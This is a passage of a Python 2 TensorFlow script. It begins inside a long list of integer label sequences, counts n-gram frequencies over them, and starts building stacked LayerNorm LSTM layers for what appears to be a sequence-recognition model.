12, 3, 33, 19, 6, 32, 6, 25, 5, 31], [18, 8, 25, 10, 29, 23, 23, 1, 30, 30, 4, 31, 5, 27, 7, 37, 5, 27, 7, 29, 18, 4, 27], [17, 10, 29, 0, 33, 33, 32, 10, 5, 29, 5, 18, 12, 26, 28, 5, 22], [18, 5, 17, 12, 26, 31, 0, 32, 30, 32, 1, 37, 4, 29, 33, 5, 23, 26, 32, 0, 29, 5, 28, 0, 21, 7, 26, 28, 1], [20, 7, 37, 27, 3, 29, 20, 16, 23, 20, 3, 23, 22, 7, 29, 5, 33, 3, 26, 33], [20, 9, 31, 8, 25, 7, 37, 33, 38, 31, 8, 25], [7, 37, 20, 7, 37, 3, 30, 5, 33, 10, 33, 7, 27, 30, 32, 38, 35, 23], [18, 5, 4, 32, 31, 27, 4, 28, 23, 17, 6, 32, 27, 7, 14, 5, 29, 23, 25, 9, 28], [1, 18, 12, 18, 3, 33, 6, 32, 5, 35, 4, 33, 32, 5, 29, 4, 32, 1, 5, 29], [20, 38, 17, 0, 29, 33, 31, 18, 7, 31, 23, 1, 23, 23, 5, 29], [7, 33, 20, 4, 28, 30, 31, 18, 36, 37, 30, 1, 30, 5, 28, 20, 38, 20, 4, 28, 30, 18, 4, 27, 31, 4, 28, 35, 37], [20, 1, 26, 16, 23, 33, 8, 26, 18, 5, 3, 23, 35, 10, 31, 6, 32, 28, 1, 35, 7, 33], [28, 4, 33, 5, 31, 29, 9, 24, 7, 35, 31, 5, 27, 15, 6, 33, 33, 38, 18, 5, 31, 36, 28], [28, 10, 26, 20, 7, 37, 24, 28, 6, 31, 1, 22, 28, 3, 26, 20, 4, 32], [19, 38, 25, 1, 28, 20, 7, 27, 4, 35, 12, 1, 27, 10, 28, 25, 12, 18, 12, 5, 17, 8], [31, 4, 33, 5, 31, 10, 23, 33, 38, 23, 32, 10, 15, 12, 36, 28, 1], [21, 10, 32, 36, 26, 5, 27, 30, 5, 31, 20, 4, 23, 7, 13], [20, 1, 26, 7, 31, 33, 20, 12, 6, 28, 31, 36, 5, 29, 23, 17, 7, 18, 23, 1, 30, 33, 4, 29, 23, 12, 29, 5, 31], [33, 12, 29, 14, 8, 26, 12, 5, 30, 31, 10, 23, 23, 9, 29], [22, 8, 31, 22, 6, 28, 37, 29, 36, 31, 7, 29, 2], [23, 32, 5, 13, 26, 5, 29, 29, 5, 31, 17, 0, 37, 29, 36, 28, 6, 13, 24, 12, 33, 0, 28, 12, 8, 33, 5, 23], [20, 7, 37, 26, 0, 27, 32, 3, 23, 37, 17, 12, 6, 28, 23, 4, 23], [17, 4, 32, 23, 38, 19, 38, 30, 16, 33, 18, 5, 28, 10, 33, 12, 25, 28, 38, 5, 23, 20, 0, 20, 0], [27, 1, 29, 17, 10, 28, 31, 30, 32, 7, 13, 20, 3, 23, 30, 3, 31, 33, 17, 4, 28, 7, 29, 33, 38, 31, 5, 27, 12], [29, 4, 26, 31, 33, 20, 1, 5, 23, 32, 4, 31, 33, 20, 7, 27, 31, 4, 28, 25, 33, 38, 9, 12, 31, 36, 28, 37], [5, 35, 26, 6, 32, 31, 23, 7, 32, 14, 1, 31, 4, 23], [14, 3, 28, 17, 1, 33, 1, 2, 20, 7, 27, 31, 5, 27], [20, 9, 23, 38, 17, 1, 23, 7, 25, 10, 29, 7, 33], [17, 4, 28, 29, 9, 17, 1, 20, 3, 35, 33, 38, 22, 7, 24, 15, 1, 5, 33, 12, 37], [33, 17, 10, 31, 20, 1, 29, 7, 32, 28, 1, 25, 4, 28], [10, 23, 1, 5, 37, 0, 32, 18, 5, 15, 32, 38, 17, 8, 33, 38, 29, 36, 17, 4, 32], [32, 5, 25, 26, 28, 6, 15, 32, 3, 31, 30, 33, 20, 7, 37, 25, 7, 31, 33], [22, 7, 20, 10, 29, 23, 20, 7, 27, 20, 7, 37, 27, 8, 33, 31, 31, 33, 12, 23, 17, 7, 15, 9, 33, 17, 8, 26, 7, 13], [31, 5, 27, 17, 5, 29, 32, 1, 37, 5, 29, 5, 22, 28, 1, 33, 32, 5, 31, 33, 17, 12, 18, 1], [26, 3, 29, 33, 31, 1, 27, 33, 38, 28, 36, 26, 8, 33, 28, 3, 29, 23, 27, 0, 32, 26, 31, 7, 29, 18, 7, 31, 31, 29, 36], [17, 6, 32, 29, 15, 32, 38, 3, 33, 18, 5, 29, 1, 37], [6, 28, 19, 6, 32, 17, 7, 14, 25, 5, 28, 15, 7, 13, 26, 7, 13, 17, 36, 29, 33, 2, 8, 29, 21, 18, 3, 33], [19, 4, 31, 27, 5, 27, 7, 33, 14, 16, 32, 17, 0, 37], [29, 36, 30, 36, 5, 33, 32, 1, 29, 36, 4, 32, 30, 28, 8, 29, 37, 29, 36, 23, 3, 29, 31, 12, 37], [26, 7, 29, 23, 5, 28, 10, 26, 5, 37, 0, 27, 22, 1], [22, 36, 15, 26, 0, 32, 37, 17, 12, 31, 28, 10, 33, 28, 1, 23, 3, 27, 5, 21, 23], [29, 36, 33, 4, 27, 33, 8, 14, 5, 29, 29, 36, 35, 12, 2, 38], [22, 32, 8, 26, 31, 14, 32, 1, 26, 33, 22, 7, 20, 10, 29, 23, 5, 31], [22, 5, 33, 4, 35, 32, 1, 22, 0, 23, 1, 26, 6, 28, 37, 19, 38, 21, 38, 29, 19, 12], [29, 6, 32, 7, 37, 14, 1, 5, 17, 4, 33, 22, 36, 33], [30, 9, 23, 12, 25, 28, 8, 27, 24, 5, 14, 33, 22, 7, 29, 1, 15, 18, 5, 17, 3, 24, 5, 29], [17, 1, 20, 3, 35, 29, 5, 15, 7, 13, 33, 38, 20, 10, 23, 5, 29, 23, 12, 5, 22, 16, 14, 5, 28], [15, 3, 13, 26, 19, 38, 14, 1, 31, 4, 23, 23, 5, 31, 33, 7, 13, 20, 12, 31, 4, 28, 25, 6, 25], [20, 1, 28, 16, 26, 33, 28, 8, 37, 1, 31, 30, 34, 28, 23, 5, 28, 7, 33, 5, 28, 26, 17, 4, 32, 5, 28, 5, 31], [17, 16, 23, 31, 5, 2, 3, 29, 3, 26, 33, 5, 35, 32, 5, 25, 19, 38, 37, 5, 28, 22, 1, 19, 38, 31, 25, 5, 28], [17, 5, 33, 23, 7, 23, 19, 38, 27, 1, 29, 22, 10, 18, 3, 33, 32, 3, 33, 5, 28, 31, 29, 8, 26, 24, 3, 24], [31, 33, 36, 29, 17, 4, 32, 26, 28, 8, 25, 6, 32, 33, 10, 28, 37], [20, 7, 37, 35, 34, 31, 31, 1, 27, 23, 15, 7, 26, 5, 29, 23, 30, 12, 30, 5, 31, 28, 5, 31], [30, 1, 30, 5, 28, 29, 4, 35, 12, 28, 10, 35, 25, 12, 4, 35, 12], [18, 3, 33, 7, 37, 17, 5, 33, 2, 10, 28, 23, 20, 16, 23, 7, 37, 20, 1, 33, 36, 28, 23, 20, 7, 27, 31, 4, 28, 25], [20, 1, 33, 31, 22, 3, 23, 25, 6, 32, 25, 32, 6, 31, 33, 22, 10, 33], [17, 7, 13, 27, 5, 29, 31, 33, 8, 26, 28, 7, 32, 20, 1, 30, 32, 8, 23], [18, 8, 1, 18, 12, 17, 6, 26, 33, 6, 32, 17, 12, 23, 32, 7, 35, 5, 29], [20, 1, 25, 6, 33, 18, 5, 30, 3, 29, 7, 26, 5, 35, 35, 12, 33, 7, 24, 36], [18, 5, 24, 0, 28, 25, 7, 13, 25, 0, 18, 12, 37, 32, 38, 28, 23, 7, 29, 20, 7, 37, 25, 8, 35, 12], [31, 5, 27, 15, 7, 13, 30, 16, 28, 23, 27, 10, 28, 4, 24], [17, 7, 28, 19, 38, 33, 4, 28, 27, 1, 17, 10], [27, 4, 29, 1, 14, 8, 30, 31, 7, 29, 22, 3, 15, 33, 5, 22, 37], [27, 12, 31, 5, 29, 4, 32, 1, 33, 12, 27, 5, 35, 0, 29, 12], [31, 36, 26, 5, 30, 28, 36, 26, 5, 28, 26, 5, 28, 12], [18, 4, 29, 17, 1, 17, 12, 6, 25, 5, 24, 4, 29], [22, 5, 33, 18, 4, 29, 32, 4, 23, 20, 4, 23, 37, 0, 32, 6, 25, 5, 29, 30, 8, 28], [29, 36, 22, 0, 23, 1, 23, 5, 37, 22, 5, 33, 18, 8, 24, 8, 35, 27, 1, 33, 4, 29, 28, 3, 31, 33, 19, 7, 32], [18, 5, 26, 7, 23, 20, 3, 37, 29, 36, 27, 3, 29, 12, 37, 22, 34, 37], [28, 1, 35, 27, 1, 19, 6, 32, 3, 23, 32, 4, 31], [18, 4, 32, 7, 37, 29, 36, 23, 7, 31, 30, 19, 38, 33, 7, 29, 35, 0, 28, 35, 7, 13, 25, 1, 28, 23, 17, 12, 26], [20, 1, 33, 32, 3, 35, 5, 28, 23, 6, 28, 36, 35, 12, 18, 5, 17, 12, 28, 23], [5, 29, 23, 31, 36, 20, 1, 17, 6, 26, 33, 8, 27, 28, 5, 31, 5, 24, 4, 29], [20, 1, 33, 16, 26, 5, 22, 7, 24, 31, 17, 7, 24, 5, 35, 20, 7, 37, 23, 32, 7, 13, 26], [33, 4, 29, 5, 18, 12, 37, 27, 8, 23, 29, 36, 32, 7, 30, 28, 10], [20, 1, 17, 6, 32, 5, 22, 32, 9, 29, 29, 7, 33, 31, 30, 6, 32, 33, 14, 12, 33, 17, 7, 18, 29, 36, 33, 10], [2, 4, 26, 18, 5, 36, 35, 12, 29, 10, 33, 12, 37, 9, 33], [0, 32, 19, 38, 5, 15, 32, 36, 12, 5, 35, 25, 28, 8, 27, 27, 12, 1, 29], [31, 36, 32, 38, 28, 37, 17, 1, 27, 8, 23, 7, 29, 5, 29, 5, 22, 3, 14, 33, 26, 5, 28, 38, 11, 5, 29], [23, 5, 37, 18, 7, 31, 27, 8, 26, 7, 33, 4, 29, 1, 1, 37, 1, 12, 26, 9, 12, 23], [17, 5, 29, 17, 10, 33, 20, 3, 29, 23, 30, 34, 37, 23, 5, 31, 33, 7, 26, 5, 22, 5, 35, 20, 7, 37, 23, 4, 31, 26], [5, 29, 5, 18, 12, 31, 29, 0, 32, 5, 28, 23, 26, 28, 36, 31, 36, 35, 12, 20, 4, 23], [36, 29, 36, 29, 0, 33, 5, 24, 4, 29, 20, 1, 31, 4, 23, 5, 28, 9, 23], [20, 36, 30, 33, 38, 31, 1, 19, 38, 5, 24, 4, 29], [18, 4, 32, 7, 37, 29, 36, 31, 33, 6, 32, 20, 1, 30, 10, 30, 33, 33, 32, 4, 27, 19, 5, 28, 5, 31, 28, 1], [17, 10, 23, 38, 17, 1, 29, 1, 23, 22, 7, 24, 12, 5, 29, 23, 22, 4, 33, 12, 22, 0, 27, 37], [21, 38, 29, 19, 12, 17, 5, 33, 0, 29, 12, 15, 31, 18, 5, 27, 3, 33, 12, 17, 7, 18, 19, 38], [31, 36, 20, 1, 5, 29, 23, 12, 31, 33, 16, 23, 20, 12, 30, 3, 29, 7, 26], [22, 5, 33, 32, 38, 28, 4, 33, 31, 29, 0, 33, 27, 10, 24, 8, 27], [17, 4, 29, 14, 4, 23, 18, 8, 28, 1, 35, 32, 5, 31, 33, 27, 0, 32, 26, 31], [20, 5, 28, 36, 4, 29, 1, 17, 5, 29, 3, 33, 20, 36, 27], [7, 33, 7, 37, 18, 5, 31, 8, 27, 36, 28, 31, 8, 27, 33, 4, 28, 27, 1, 7, 33, 31, 29, 8, 27], [22, 7, 33, 12, 5, 29, 32, 1, 37, 29, 7, 13, 21, 4, 28, 5, 31, 1], [32, 5, 31, 1, 35, 7, 13, 29, 36, 3, 29, 31, 12, 18, 8, 31, 4, 33, 18, 5, 25, 10, 12], [18, 8, 17, 12, 30, 12, 31, 38, 7, 13, 20, 7, 27], [18, 4, 29, 18, 5, 33, 4, 28, 5, 25, 36, 29, 7, 13, 22, 7, 24, 3, 29], [18, 5, 17, 3, 24, 5, 29, 37, 17, 12, 22, 12, 29, 7, 13, 25, 7, 32, 31, 28, 1], [14, 7, 35, 12, 7, 13, 20, 1, 30, 16, 33, 0, 29, 20, 7, 37, 26, 28, 36, 18, 37], [17, 4, 29, 14, 1, 5, 17, 36, 26, 14, 1, 17, 0, 37, 18, 5, 14, 7, 30], [25, 32, 5, 27, 2, 10, 28, 23, 20, 16, 23, 20, 1, 20, 3, 23, 29, 36, 29, 6, 28, 5, 22, 9, 33, 29, 10, 35, 37], [14, 1, 31, 29, 0, 32, 5, 28, 23, 17, 6, 32, 29, 7, 13, 28, 1], [29, 10, 31, 1, 35, 7, 29, 7, 25, 5, 33, 32, 10, 25, 5, 28, 24, 6, 23, 1], [3, 22, 31, 5, 28, 38, 14, 5, 29, 25, 6, 32, 20, 7, 37, 28, 10], [20, 12, 20, 5, 27, 22, 7, 26, 8, 27, 5, 24, 12, 24, 5, 28, 5, 35, 31, 12, 30, 32, 10, 37], [20, 9, 17, 7, 28, 17, 1, 17, 12, 26, 7, 33, 9, 33], [30, 16, 14, 22, 3, 26, 5, 30, 5, 29, 23, 32, 7, 30, 1, 33], [5, 32, 3, 22, 5, 33, 30, 5, 29, 2, 32, 1, 23, 5, 22, 5, 28, 23, 20, 7, 27], [20, 1, 32, 36, 23, 28, 36, 0, 29, 18, 5, 27, 4, 32, 37, 29, 4, 26], [18, 8, 29, 1, 18, 12, 24, 8, 29, 23, 29, 6, 32, 25, 4, 28, 22, 3, 26], [18, 5, 26, 28, 9, 23, 22, 12, 31, 33, 26, 5, 33, 6, 25, 5, 22, 32, 5, 30, 33, 28, 1], [20, 3, 35, 19, 38, 24, 0, 33, 7, 29, 5, 25, 22, 28, 3, 13, 26, 5, 33, 31], [18, 4, 32, 17, 0, 37, 27, 5, 2, 4, 27, 22, 32, 8, 31, 7, 13, 27, 5, 2, 7, 26, 31, 26, 28, 8, 27, 7, 13], [20, 7, 37, 20, 4, 23, 25, 28, 0, 30, 33, 22, 3, 26], [5, 29, 23, 19, 38, 15, 7, 13, 26, 19, 38, 20, 3, 35, 28, 3, 13, 24, 17, 5, 21, 30, 32, 0, 22, 28, 5, 27, 37], [3, 33, 28, 1, 31, 33, 18, 5, 17, 1, 28, 37, 23, 5, 24, 7, 29], [17, 10, 29, 6, 32, 5, 18, 5, 35, 4, 32, 1, 10, 23, 1, 5], [14, 1, 28, 16, 26, 33, 3, 33, 27, 1, 30, 32, 36, 35, 0, 26, 5, 33, 7, 35, 28, 1], [1, 18, 12, 22, 4, 33, 12, 29, 6, 32, 17, 12, 31], [24, 36, 2, 8, 29, 21, 19, 6, 32, 14, 38, 37, 22, 7, 25, 6, 32, 19, 38, 33, 12, 29, 12, 9, 29, 23], [2, 4, 31, 29, 5, 33, 31, 0, 32, 31, 33, 0, 32, 2, 1], [7, 33, 6, 28, 33, 8, 26, 31, 30, 28, 8, 31, 7, 29, 18, 5, 8, 33, 1, 29, 15, 31, 4, 29, 2, 12, 1], [7, 33, 27, 10, 33, 20, 12, 33, 19, 38, 18, 36], [22, 36, 15, 25, 7, 24, 19, 12, 37, 17, 16, 23, 24, 36, 20, 10, 12, 7, 29, 28, 8, 33, 12, 19, 7, 32, 37], [18, 5, 20, 36, 33, 4, 28, 36, 29, 12, 14, 32, 5, 24, 23], [18, 3, 33, 33, 5, 2, 33, 6, 25, 5, 33, 36, 33, 5, 28, 31, 33, 3, 27, 30, 1, 23], [20, 8, 26, 5, 27, 22, 3, 26, 20, 1, 14, 9, 33, 5, 23], [18, 5, 14, 4, 32, 5, 25, 31, 31, 17, 7, 35, 5, 28, 2, 4, 32, 33, 7, 28, 33, 5, 23, 22, 3, 26], [22, 4, 35, 32, 7, 21, 7, 37, 0, 32, 27, 8, 23, 25, 32, 5, 27, 31, 1, 23, 37, 18, 5, 17, 12, 28, 23, 36, 35, 12], [27, 0, 28, 5, 31, 26, 31, 0, 32, 5, 26, 8, 31, 7, 29, 30, 34, 29, 33], [18, 8, 17, 12, 33, 4, 18, 12, 23, 0, 32, 27, 1, 31, 33, 10, 28, 0, 29, 31, 33, 8, 22, 5, 28, 28, 10, 29, 37], [18, 5, 33, 8, 30, 31, 14, 36, 18, 3, 33], [27, 8, 22, 1, 31, 5, 27, 5, 18, 12, 23, 8], [17, 7, 18, 1, 2, 31, 6, 13, 20, 1, 24, 8, 35, 35, 12, 22, 5, 28, 25, 16, 33, 29, 36, 33, 31], [18, 4, 29, 17, 4, 23, 32, 7, 28, 1, 20, 3, 35, 31, 5, 27, 30, 28, 8, 31, 33, 38, 24, 36], [32, 1, 28, 22, 32, 10, 33, 5, 28, 6, 13, 18, 36, 37, 28, 10, 29, 37, 19, 38, 27, 10, 33, 31, 8], [5, 29, 23, 29, 8, 15, 5, 29, 23, 7, 23, 20, 1, 31, 1, 18, 4, 27, 33, 38], [18, 7, 31, 26, 36, 33, 28, 16, 26, 31, 28, 10, 26, 5, 32, 3, 24, 20, 1, 30], [17, 5, 29, 1, 35, 7, 29, 24, 8, 35, 27, 10, 28, 7, 33, 5, 28, 23, 6, 24, 5, 22, 7, 31, 26, 5, 33], [29, 0, 33, 17, 4, 29, 14, 4, 23, 17, 8, 33, 5, 23, 31, 36, 28, 6, 13, 6, 28, 32, 4, 23, 1], [7, 33, 31, 29, 4, 35, 12, 32, 6, 13, 7, 25, 28, 5, 35, 7, 37, 32, 1, 28], [22, 5, 33, 29, 9, 14, 1, 28, 16, 26, 33, 5, 24, 28, 1], [5, 30, 38, 28, 7, 37, 29, 36, 30, 28, 8, 31, 25, 6, 32, 5, 14, 5, 33, 33, 32, 3, 30], [31, 5, 27, 17, 7, 27, 5, 29, 24, 4, 33, 5, 32, 1, 28, 15, 32, 7, 28, 9, 33, 5, 35, 20, 9, 31, 17, 12, 26], [19, 38, 28, 5, 26, 1, 26, 7, 23, 37, 20, 1, 31, 4, 23], [7, 33, 24, 8, 35, 20, 12, 5, 28, 38, 23, 17, 7, 13, 26, 7, 13, 7, 25, 4, 26, 33], [29, 1, 18, 12, 3, 26, 29, 0, 28, 7, 21, 23, 18, 5, 24, 7, 25, 33], [31, 5, 26, 31, 4, 31, 25, 6, 32, 27, 4, 29, 1, 33, 12, 29, 30, 10, 26, 31, 20, 3, 37, 26, 5, 27, 20, 0, 32, 23], [17, 0, 2, 7, 33, 22, 7, 24, 14, 0, 33, 5, 20, 6, 32, 31, 35, 34, 31, 19, 4, 28, 23, 22, 3, 26], [18, 8, 17, 12, 6, 28, 32, 4, 23, 1, 31, 17, 36, 28, 5, 29, 33, 38, 22, 12, 31, 33, 7, 13], [23, 38, 19, 38, 29, 36, 17, 4, 32, 27, 10, 33, 20, 3, 35, 24, 6, 29], [20, 9, 0, 29, 12, 15, 23, 38, 19, 38, 27, 3, 29, 5, 21, 7, 33], [14, 1, 36, 35, 12, 30, 28, 8, 23, 20, 12, 20, 3, 29, 23], [18, 8, 26, 16, 23, 17, 6, 26, 32, 10, 23, 0, 29, 5, 22, 5, 31, 6, 32, 22, 1, 23, 32, 7, 35, 5, 29], [27, 10, 23, 32, 4, 31, 29, 1, 23, 37, 31, 5, 27, 17, 12, 26, 0, 29, 7, 33], [18, 5, 27, 5, 23, 17, 3, 24, 5, 29, 20, 3, 23, 26, 0, 33, 25, 10, 12, 6, 28, 31, 36], [20, 38, 7, 37, 24, 36, 7, 13, 33, 38, 31, 33, 0, 30, 27, 1], [24, 0, 33, 18, 5, 5, 30, 31, 33, 4, 32, 37, 24, 10, 20, 1, 22, 4, 28, 36, 37], [18, 7, 31, 22, 12, 15, 28, 4, 13, 26, 15, 31, 1, 27, 37, 33, 38, 22, 1, 33, 7, 30, 5, 26, 5, 28], [1, 2, 5, 35, 5, 31, 20, 3, 23, 20, 7, 37, 36, 29, 31, 30, 4, 14, 5, 28, 33, 1, 22, 7, 31, 10, 23, 37], [19, 38, 27, 1, 29, 5, 24, 8, 27, 17, 7, 18, 26, 0, 32, 23, 37], [20, 5, 28, 36, 22, 0, 31, 20, 1, 31, 4, 23, 5, 29, 23, 24, 32, 7, 29, 23], [20, 1, 27, 4, 33, 29, 36, 22, 0, 23, 1, 20, 1, 29, 38, 0, 29, 18, 7, 31, 17, 6, 26], [17, 10, 31, 4, 23, 18, 5, 33, 1, 2, 12, 0, 32, 33, 18, 9, 31, 36, 28, 8, 33], [29, 9, 18, 5, 20, 36, 30, 17, 0, 37, 24, 6, 29], [28, 10, 26, 3, 37, 7, 25, 7, 33, 17, 12, 22, 7, 28, 33, 5, 35, 22, 16, 26, 31], [27, 8, 22, 1, 18, 8, 17, 7, 28, 33, 8, 26, 5, 31], [23, 5, 37, 18, 7, 31, 22, 0, 18, 12, 19, 38], [18, 7, 31, 33, 38, 28, 26, 3, 29, 6, 28, 31, 36, 22, 1, 27, 8, 23, 17, 7, 18, 5, 28, 8, 18], [17, 12, 29, 0, 33, 23, 32, 5, 13, 26, 12, 23, 37, 14, 1, 31, 4, 23], [33, 38, 20, 7, 37, 31, 12, 30, 32, 10, 37, 20, 7, 37, 30, 28, 3, 29, 17, 12, 26, 33, 30, 12, 25, 5, 26, 33, 28, 1], [18, 5, 22, 38, 31, 33, 7, 37, 20, 4, 28, 30, 25, 5, 28, 22, 5, 33, 7, 29, 3, 23, 5, 26, 17, 5, 33], [36, 14, 5, 26, 31, 18, 5, 24, 12, 28, 31, 4, 23], [25, 10, 28, 33, 38, 5, 31, 27, 38, 18, 25, 7, 29, 7, 14], [18, 5, 26, 0, 32, 23, 6, 32, 26, 32, 3, 14, 33, 14, 5, 33], [18, 4, 32, 17, 0, 37, 6, 28, 31, 36, 5, 23, 6, 24, 5, 23, 7, 13, 24, 36, 23, 6, 24], [30, 12, 25, 4, 26, 33, 20, 1, 15, 6, 33], [7, 29, 33, 4, 28, 5, 21, 5, 29, 31, 21, 3, 22, 23, 3, 33, 20, 7, 27, 5, 26, 19, 38, 37, 7, 13, 28, 1], [36, 27, 5, 18, 12, 10, 31, 6, 18, 4, 27], [14, 1, 26, 3, 29, 23, 7, 26, 32, 1, 31, 18, 5, 29, 5, 27, 22, 12, 5, 35, 33, 4, 27, 33, 8, 14, 5, 29, 37], [31, 38, 29, 31, 4, 23, 18, 5, 20, 3, 25, 27, 5, 29], [29, 36, 22, 0, 23, 1, 4, 28, 31, 23, 7, 23, 1, 18, 12], [5, 18, 12, 37, 17, 12, 7, 25, 4, 27, 12, 5, 28], [22, 5, 33, 17, 5, 33, 7, 25, 31, 5, 27, 22, 0, 23, 1, 23, 7, 31, 10, 23, 37, 33, 38, 22, 32, 8, 26, 7, 33], [29, 6, 32, 5, 10, 15, 7, 13, 26, 19, 38, 7, 27, 3, 21, 5, 29, 7, 33], [18, 4, 29, 26, 8, 27, 26, 36, 26, 5, 29, 5, 33, 31, 4, 24, 37, 5, 29, 23, 32, 10, 31, 17, 10, 29], [25, 10, 33, 31, 31, 30, 32, 3, 13, 5, 30, 5, 29, 23, 17, 12, 26, 17, 7, 26, 28, 1, 31, 26, 17, 4, 28, 2, 33], [4, 35, 32, 1, 15, 7, 13, 17, 4, 29, 33, 32, 1, 28, 31, 27, 38, 18, 18, 5, 14, 4, 32, 5, 25, 31, 4, 23], [17, 4, 32, 17, 12, 18, 8, 29, 9], [14, 1, 26, 3, 29, 32, 1, 27, 38, 35, 6, 28, 29, 7, 26, 29, 3, 26, 31, 17, 7, 18, 7, 29, 32, 1, 2], [22, 5, 33, 17, 10, 30, 8, 20, 12, 22, 7, 28, 37], [20, 1, 32, 4, 26, 5, 24, 29, 10, 37, 23, 20, 7, 37, 21, 3, 26, 5, 33, 5, 29, 23, 33, 32, 9, 37, 12, 37], [7, 33, 31, 30, 12, 20, 3, 30, 31, 5, 27, 10, 28, 25, 32, 5, 27, 20, 1, 32, 17, 4, 32, 17, 1, 31, 7, 33], [29, 5, 29, 14, 16, 23, 3, 31, 26, 28, 4, 31], [20, 1, 31, 29, 3, 2, 33, 3, 33, 7, 33, 31, 3, 35, 7, 21, 28, 1], [17, 1, 22, 36, 15, 20, 3, 23, 20, 3, 13, 36, 35, 12, 37], [5, 18, 12, 17, 10, 37, 18, 5, 9, 33, 28, 16, 26, 26, 16, 23, 22, 1, 23, 0, 32, 26, 7, 29, 23, 1, 23], [17, 5, 33, 4, 35, 12, 19, 38, 33, 4, 28, 20, 7, 27, 20, 1, 17, 7, 28, 23, 10, 35], [27, 8, 22, 1, 7, 33, 17, 16, 23, 17, 12, 26, 18, 5, 5, 18, 12, 17, 8], [29, 36, 32, 7, 28, 1, 32, 10, 33, 3, 37, 32, 8, 29], [18, 3, 33, 17, 12, 27, 5, 27, 12, 23, 12, 12], [17, 5, 33, 9, 33, 25, 7, 33, 23, 5, 37, 14, 1, 23, 32, 10, 35, 25, 6, 32], [18, 4, 29, 31, 7, 27, 12, 25, 7, 25, 33, 1, 29, 27, 7, 29, 5, 33, 31, 28, 6, 13, 24, 12], [20, 8, 31, 33, 5, 28, 1, 18, 5, 22, 34, 31, 17, 7, 2, 33, 0, 29, 5, 31, 1, 28, 7, 13, 28, 10, 33], [24, 0, 14, 18, 5, 20, 9, 31, 23, 5, 37, 28, 16, 26, 28, 10, 26, 5, 27, 6, 32, 24, 18, 36], [20, 9, 4, 35, 12, 5, 22, 34, 37, 28, 10, 35, 28, 1, 10, 37, 27, 10, 33, 32, 36, 35], [7, 33, 17, 0, 37, 0, 26, 17, 12, 23, 35, 4, 32, 1, 0, 26, 17, 12, 23], [25, 6, 32, 17, 5, 33, 23, 38, 18, 5, 19, 38, 33, 36, 30, 1, 5, 29, 37, 28, 8, 22, 12], [20, 1, 27, 10, 33, 31, 8, 6, 32, 23, 38, 31, 5, 27, 15, 7, 13, 25, 38, 28, 7, 14], [17, 0, 37, 7, 33, 5, 22, 12, 15, 23, 8, 22, 6, 28], [31, 36, 20, 1, 20, 10, 23, 37, 18, 5, 27, 8, 5, 29, 8, 37], [32, 8, 29, 21, 17, 0, 37, 5, 35, 10, 33, 5, 28, 23, 7, 33, 8, 28], [14, 1, 27, 5, 31, 33, 20, 3, 35, 30, 16, 33, 20, 7, 37, 26, 28, 36, 18, 37, 7, 29, 18, 5, 26, 28, 0, 37, 5, 33], [7, 27, 24, 36, 7, 13, 33, 38, 31, 12, 2, 18, 7, 31, 20, 9, 31], [18, 8, 19, 38, 37, 23, 30, 7, 13, 26, 33, 3, 29, 6, 32, 26, 32, 1, 27, 30, 9, 23, 12], [22, 4, 32, 1, 18, 36, 37, 19, 38, 29, 5, 25, 6, 32, 27, 37, 31, 36, 18, 8, 17, 36, 29, 33, 22, 1, 25, 9, 29, 23], [28, 5, 28, 5, 22, 10, 5, 29, 23, 24, 16, 23, 29, 10, 33, 20, 7, 37, 35, 34, 31, 14, 16, 26], [17, 0, 37, 7, 33, 6, 28, 35, 8, 29, 28, 8, 22, 12], [18, 5, 22, 28, 38, 32, 5, 24, 17, 0, 37, 31, 5, 31, 30, 7, 14, 5, 31, 28, 1, 22, 32, 10, 33, 5, 29, 23, 29, 38], [24, 12, 7, 28, 5, 37, 17, 12, 32, 8, 31, 7, 13, 33, 5, 17, 6, 32, 23, 20, 7, 27], [18, 5, 26, 28, 12, 26, 31, 10, 37, 25, 28, 7, 26, 12, 23]] train_labels = np.array(map(lambda i: label_map[i], train_labels)) val_labels = np.array(map(lambda i: label_map[i], val_labels)) bigram_count_map = {} for i in range(len(label_map)): for j in range(len(label_map[i])-1): key = tuple(label_map[i][j:j+2]) bigram_count_map[key] = bigram_count_map.get(key, 0) + 1 trigram_count_map = {} for i in range(len(label_map)): for j in range(len(label_map[i])-2): key = tuple(label_map[i][j:j+3]) trigram_count_map[key] = trigram_count_map.get(key, 0) + 1 fourgram_count_map = {} for i in range(len(label_map)): for j in range(len(label_map[i])-3): key = tuple(label_map[i][j:j+4]) fourgram_count_map[key] = fourgram_count_map.get(key, 0) + 1 fivegram_count_map = {} for i in range(len(label_map)): for j in range(len(label_map[i])-4): key = tuple(label_map[i][j:j+5]) fivegram_count_map[key] = fivegram_count_map.get(key, 0) + 1 unigram_count_map = {unigram: count for (unigram, count) in\ zip(*np.unique(np.concatenate(label_map), return_counts=True))} print unigram_count_map print bigram_count_map print len(bigram_count_map) print trigram_count_map print len(trigram_count_map) print np.shape(train_sequences) print np.shape(train_labels) print np.shape(val_sequences) print np.shape(val_labels) num_classes = len(np.unique(reduce(lambda a,b: a+b, label_map))) + 1 num_channels = len(train_sequences[0][0]) learning_rate = 1e-4 #5e-4 #1e-3 dropout_rate = 0.4 num_channels = 8 inputs = tf.placeholder(tf.float32,[None, None, num_channels]) #[batch_size,timestep,features] targets = tf.sparse_placeholder(tf.int32) sequence_lengths = tf.placeholder(tf.int32, [None]) weights = tf.placeholder(tf.float32, [None]) training = tf.placeholder(tf.bool) batch_size = tf.shape(inputs)[0] max_timesteps = tf.shape(inputs)[1] lstm_hidden_size = 256 #lstm1 = tf.nn.rnn_cell.LSTMCell(lstm_hidden_size, use_peepholes=True) lstm1 = tf.contrib.rnn.LayerNormBasicLSTMCell(lstm_hidden_size, dropout_keep_prob=1.0-dropout_rate) dropout1 = tf.nn.rnn_cell.DropoutWrapper(lstm1, 1.0-dropout_rate) #lstm1b = tf.nn.rnn_cell.LSTMCell(lstm_hidden_size, use_peepholes=True) lstm1b = tf.contrib.rnn.LayerNormBasicLSTMCell(lstm_hidden_size, dropout_keep_prob=1.0-dropout_rate) dropout1b = tf.nn.rnn_cell.DropoutWrapper(lstm1b, 1.0-dropout_rate) #lstm2 = tf.nn.rnn_cell.LSTMCell(lstm_hidden_size, use_peepholes=True) lstm2 = tf.contrib.rnn.LayerNormBasicLSTMCell(lstm_hidden_size, dropout_keep_prob=1.0-dropout_rate) dropout2 = tf.nn.rnn_cell.DropoutWrapper(lstm2, 1.0-dropout_rate) #lstm2b = tf.nn.rnn_cell.LSTMCell(lstm_hidden_size, use_peepholes=True) lstm2b = tf.contrib.rnn.LayerNormBasicLSTMCell(lstm_hidden_size, 